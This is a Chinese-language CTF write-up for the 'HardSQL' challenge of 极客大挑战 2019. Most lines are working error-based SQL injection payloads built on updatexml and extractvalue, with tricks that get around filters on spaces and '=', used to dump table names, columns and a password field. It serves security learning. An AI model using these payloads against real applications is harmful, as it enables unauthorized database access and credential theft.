[极客大挑战 2019]HardSQL 1(报错注入)
输入1’,出错,1’#显示不同,存在单引号闭合注入。
order by查字段,union,堆叠注入,和输入数字都烦返回错误
=,空格,和好多关键字都被过滤了。
空格用()绕过,=用like绕过。
尝试报错注入:
1'or(updatexml(1,concat(0x7e,database()),1))#&password=1
1'or(extractvalue( 1,concat(0x7e,database() ) ))#也可以
注:0x7e 是~符号的十六进制。
发现存在报错注入。
- 查询表名:
本应构造:
1'or updatexml(1,concat(0x7e,select group_concat(table_name) from information_schema.tables from where table_schema=database()),1)#
空格被过滤,用()绕过,因此构造
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
- 查询字段名
本应构造:
1'or updatexml(1,concat(0x7e,select group_concat(column_name) from information_schema.columns from where table_schema=database() and table_name='H4rDsq1'),1)#
绕过空格与and过滤后,构造为:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
得到 id,username,password字段。
- 查看password字段
构造:
1'or updatexml(1,concat(0x7e,select group_concat(password) from H4rDsq1),1)#
绕过空格过滤后构造:
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1))#
得到一半的flag:flag{62f71bc2-4189-48c7-a2c2-8b。
- 可以用right()函数或mid() 函数来读取。
1'or(updatexml(1,concat(0x7e,(select(right(group_concat(password),25))from(H4rDsq1))),1))#
1'or(updatexml(1,concat(0x7e,(select(mid(group_concat(password),20,40))from(H4rDsq1))),1))#
mid被过滤了,right可以使用。
得到后面缺少的flag为:322f9778f3}。
通过这道题复习到:
1. 报错注入extractvalue(两个参数)和updatexml(三个参数);
2. 空格过滤可以用()绕过(之前的题目还有/**/,${IFS}绕过),=用like代替。
3. 学过的right(),mid()函数读取一段字符串。